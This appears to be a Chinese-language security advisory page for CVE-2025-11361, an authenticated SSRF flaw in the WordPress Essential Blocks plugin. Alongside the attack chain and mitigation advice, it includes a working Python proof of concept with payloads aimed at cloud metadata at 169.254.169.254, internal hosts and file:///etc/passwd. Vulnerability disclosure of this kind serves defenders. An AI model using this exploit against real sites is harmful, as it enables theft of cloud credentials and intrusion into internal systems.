IPBUF安全漏洞报告
English
CVE-2025-11361 CVSS 6.4 中危

CVE-2025-11361 WordPress Essential Blocks插件SSRF漏洞

披露日期: 2025-10-18

漏洞信息

漏洞编号
CVE-2025-11361
漏洞类型
服务端请求伪造(SSRF)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Gutenberg Essential Blocks – Page Builder for Gutenberg Blocks & Patterns(WordPress插件)

相关标签

SSRF服务端请求伪造WordPressEssential BlocksGutenberg插件漏洞CVE-2025-11361WordfencePHPWeb应用安全

漏洞概述

CVE-2025-11361是WordPress的Gutenberg Essential Blocks插件中存在的一个服务端请求伪造(SSRF)漏洞。该插件是一款流行的页面构建工具,提供丰富的Gutenberg区块和模板模式,允许用户在WordPress网站中创建复杂的页面布局。该漏洞存在于插件的eb_save_ai_generated_image函数中,影响所有5.7.1及以下版本。

该漏洞由Wordfence安全团队的安全研究员发现并报告,于2025年10月18日正式披露。CVSS 3.1评分为6.4分,属于中等严重等级。漏洞的攻击向量为网络(AV:N),攻击复杂度低(AC:L),但需要低权限认证(PR:L),无需用户交互(UI:N)。

该SSRF漏洞允许具有Author级别及以上权限的认证攻击者从Web应用程序发起对任意位置的Web请求。攻击者可以利用此漏洞查询和修改来自内部服务的信息,包括但不限于访问云元数据服务(如AWS的169.254.169.254)、内部管理面板、数据库接口等敏感资源。由于WordPress网站通常部署在云环境中,SSRF漏洞可能被用于窃取云凭证或访问内部基础设施,对网站安全构成严重威胁。

技术细节

该漏洞的根本原因在于eb_save_ai_generated_image函数未对用户提供的URL参数进行充分的验证和过滤。该函数原本用于处理AI生成的图片保存功能,接受用户提交的图片URL并将其下载保存到WordPress媒体库中。

具体漏洞原理如下:
1. 插件在处理AI生成图片的保存请求时,直接将用户提供的URL作为参数传递给服务器端的文件获取函数(如file_get_contents、cURL等)。
2. 函数未对URL进行白名单验证或限制,允许攻击者传入任意URL,包括内部网络地址(127.0.0.1、192.168.x.x、10.x.x.x等)、云元数据端点(169.254.169.254)以及其他内部服务地址。
3. 服务器端在获取URL内容时,会以Web应用程序的权限和上下文执行请求,从而可以访问通常无法从外部直接访问的内部资源。
4. 攻击者还可以利用file://、gopher://等协议进行更复杂的攻击,如读取本地文件或与内部协议交互。

漏洞触发条件:攻击者需要拥有Author级别及以上的WordPress账户权限。通过构造包含恶意URL的请求,调用eb_save_ai_generated_image函数,即可触发SSRF攻击。攻击者可以根据服务器的响应获取内部服务的敏感信息,或利用获取的信息进行进一步的攻击。

攻击链分析

STEP 1
步骤1:获取认证凭据
攻击者首先需要获取WordPress网站的Author级别或以上权限的账户凭据。这可以通过钓鱼攻击、购买泄露凭据或利用其他漏洞实现。
STEP 2
步骤2:分析插件接口
攻击者分析Essential Blocks插件的代码,特别是includes/Admin/Admin.php中第865行的eb_save_ai_generated_image函数,确定其接受URL参数且未进行充分验证。
STEP 3
步骤3:构造SSRF请求
攻击者构造包含恶意URL的AJAX请求,通过/wp-admin/admin-ajax.php端点调用eb_save_ai_generated_image函数,URL指向内部服务或云元数据端点。
STEP 4
步骤4:执行SSRF攻击
服务器端接收到请求后,使用Web应用程序的权限和上下文向攻击者指定的URL发起请求,访问内部资源或敏感服务。
STEP 5
步骤5:信息收集与利用
攻击者通过分析服务器响应获取敏感信息,如云元数据凭证、内部服务配置、数据库连接信息等,并利用这些信息进行进一步的攻击或横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11361 PoC - Essential Blocks Plugin SSRF # Vulnerable endpoint: /wp-admin/admin-ajax.php # Vulnerable function: eb_save_ai_generated_image # File: includes/Admin/Admin.php (line 865) import requests # Target WordPress site URL TARGET_URL = "http://target-wordpress-site.com" # Authenticated session cookies (Author-level access required) COOKIES = { "wordpress_logged_in_[hash]": "your_auth_cookie", "wordpress_sec_[hash]": "your_sec_cookie" } # SSRF payloads to exploit the eb_save_ai_generated_image function ssrf_payloads = [ # Access AWS metadata service "http://169.254.169.254/latest/meta-data/", # Access internal localhost services "http://127.0.0.1:8080/admin", # Access internal network resources "http://192.168.1.1/", # File protocol to read local files "file:///etc/passwd", # Internal database service "http://internal-db-service:3306/" ] def exploit_ssrf(target_url, cookies, payload_url): """ Exploit SSRF via eb_save_ai_generated_image function The function processes AI-generated image URLs without proper validation """ endpoint = f"{target_url}/wp-admin/admin-ajax.php" # WordPress AJAX action for the vulnerable function data = { "action": "eb_save_ai_generated_image", "image_url": payload_url, "nonce": "valid_nonce_value" } headers = { "X-Requested-With": "XMLHttpRequest", "Content-Type": "application/x-www-form-urlencoded" } response = requests.post( endpoint, data=data, cookies=cookies, headers=headers ) print(f"[*] Payload: {payload_url}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text[:500]}") return response # Execute SSRF attack with different payloads for payload in ssrf_payloads: print("\n" + "="*60) exploit_ssrf(TARGET_URL, COOKIES, payload) print("="*60) # Note: The actual AJAX action name and nonce should be obtained # by analyzing the plugin source code at: # https://plugins.trac.wordpress.org/browser/essential-blocks/tags/5.7.0/includes/Admin/Admin.php#L865

影响范围

Gutenberg Essential Blocks < 5.7.2
Gutenberg Essential Blocks <= 5.7.1

防御指南

临时缓解措施
在升级到修复版本之前,建议采取以下临时缓解措施:1)限制WordPress网站的用户注册和权限提升,确保只有可信用户拥有Author级别及以上权限;2)在Web服务器或反向代理层面配置防火墙规则,阻止对内部IP地址和云元数据服务的出站请求;3)使用安全插件监控异常的AJAX请求,特别是涉及eb_save_ai_generated_image等敏感操作的请求;4)临时禁用Essential Blocks插件的AI图片生成功能,直到完成升级;5)加强日志监控,关注来自插件功能的异常网络请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表